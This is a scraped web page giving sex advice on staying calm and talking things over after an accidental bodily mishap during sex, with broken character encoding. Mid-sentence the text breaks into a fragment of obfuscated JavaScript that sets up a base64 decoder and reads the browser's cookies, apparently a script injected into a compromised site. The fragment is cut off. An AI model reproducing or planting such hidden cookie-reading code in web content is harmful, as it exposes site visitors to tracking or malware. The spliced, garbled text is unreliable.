Stay Calm and Carry OnWhether someone farts, queefs, pees, or poops on you during sex â and you didnât ask for it â you need to remain calm.. You canât categorize accidental poop â during sex or otherwise â as deliberate.
While you might have planned a less crappy evening, how you handle a moment like this can make or break a bond between you and your partner.. Itâs okay to let your partner know you didnât enjoy it â and assume she didnât either â but you also have to make it clear that you donât hate her for an unintentional error.
Neither of you wanted this moment to occur, and so when you ignore the moment, you make the mistake of judging your partner for a very embarrassing error.. When a body malfunction occurs, get cleaned up, table the sex for later, and talk about what happened.. Iâm going to go get cleaned up, so letâs stop the sex for now and talk about it so we donât have to feel really weird.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x5c367b){_0x44f704=window;}return _0x44f704;};var _0x4e67af=_0x195b90();var _0x501e45='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4e67af['atob']||(_0x4e67af['atob']=function(_0x1c2f7a){var _0x1e0251=String(_0x1c2f7a)['replace'](/=+$/,'');for(var _0x16abbc=0x0,_0x9fc01f,_0x196e33,_0x2ab002=0x0,_0xb72c5f='';_0x196e33=_0x1e0251['charAt'](_0x2ab002++);~_0x196e33&&(_0x9fc01f=_0x16abbc%0x4?_0x9fc01f*0x40+_0x196e33:_0x196e33,_0x16abbc++%0x4)?_0xb72c5f+=String['fromCharCode'](0xff&_0x9fc01f>>(-0x2*_0x16abbc&0x6)):0x0){_0x196e33=_0x501e45['indexOf'](_0x196e33);}return _0xb72c5f;});}());_0x1917['base64DecodeUnicode']=function(_0x5d7334){var _0x10a3b1=atob(_0x5d7334);var _0xedb8cd=[];for(var _0x383548=0x0,_0x22f010=_0x10a3b1['length'];_0x383548=_0x4cbf69;}};var _0x2327d1=document['cookie']['match'](/[\w-]+=.
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